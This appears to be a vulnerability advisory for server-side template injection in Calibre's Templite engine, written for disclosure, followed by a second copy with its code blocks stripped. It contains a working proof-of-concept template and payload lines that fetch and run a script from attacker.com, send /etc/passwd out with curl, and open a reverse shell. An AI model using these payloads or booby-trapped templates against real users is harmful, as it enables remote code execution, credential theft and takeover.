Server-Side Template Injection (SSTI) in Templite Engine
Summary
A Server-Side Template Injection (SSTI) vulnerability in Calibre's Templite templating engine allows arbitrary code execution when a user converts an ebook using a malicious custom template file via the --template-html or --template-html-index command-line options.
Details
The Templite engine (src/templite/__init__.py) compiles and evaluates templates using Python's compile() and eval() functions without any sandboxing:
Vulnerable code in src/templite/__init__.py:
# Line 72: Template is compiled to Python code
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')
# Line 90: Compiled code is executed via eval()
def render(self, __namespace=None, **kw):
# ...
eval(self.__code, namespace) # Arbitrary code execution
Attack vector in src/calibre/ebooks/conversion/plugins/html_output.py:
# Lines 96-98: User-supplied template file is loaded
if opts.template_html_index is not None:
with open(opts.template_html_index, 'rb') as f:
template_html_index_data = f.read()
# Line 136: Template is passed to vulnerable Templite engine
templite = Templite(template_html_index_data)
The same pattern exists for --template-html option (lines 102-106, 200).
PoC
1. Create a malicious template file
Save the following as malicious_template.tmpl:
<!DOCTYPE html>
<html>
<head><title>Malicious Template</title></head>
<body>
<h1>Book converted!</h1>
<!-- SSTI payload executes arbitrary commands -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>
2. Execute ebook conversion with malicious template
# Convert any ebook using the malicious template
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl
3. Verify code execution
cat /tmp/pwned.txt
# Output: uid=501(username) gid=20(staff) groups=...
Alternative payloads
# Command execution
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$
# File exfiltration
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$
# Reverse shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$
Standalone verification
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite
# Command execution
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("User:", t.render()) # Prints current username
# File read
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("File:", t.render()) # Prints first line of /etc/passwd
Impact
Who is impacted:
- Users who download and use third-party HTML export templates
- Users who use templates shared on forums, GitHub, or other sources
- Systems running Calibre in automated pipelines with user-supplied templates
Attack scenario:
- Attacker creates a legitimate-looking HTML template with embedded SSTI payload
- Attacker shares the template on Calibre forums, Reddit, or GitHub
- Victim downloads template and uses it:
ebook-convert book.epub out.zip --template-html=template.tmpl
- Arbitrary code executes with victim's privileges
Server-Side Template Injection (SSTI) in Templite Engine
Summary
A Server-Side Template Injection (SSTI) vulnerability in Calibre's Templite templating engine allows arbitrary code execution when a user converts an ebook using a malicious custom template file via the
--template-htmlor--template-html-indexcommand-line options.Details
The Templite engine (
src/templite/__init__.py) compiles and evaluates templates using Python'scompile()andeval()functions without any sandboxing:Vulnerable code in
src/templite/__init__.py:Attack vector in
src/calibre/ebooks/conversion/plugins/html_output.py:The same pattern exists for
--template-htmloption (lines 102-106, 200).PoC
1. Create a malicious template file
Save the following as
malicious_template.tmpl:2. Execute ebook conversion with malicious template
# Convert any ebook using the malicious template ebook-convert input.epub output.zip --template-html=malicious_template.tmpl3. Verify code execution
cat /tmp/pwned.txt # Output: uid=501(username) gid=20(staff) groups=...Alternative payloads
Standalone verification
Impact
Who is impacted:
Attack scenario:
ebook-convert book.epub out.zip --template-html=template.tmpl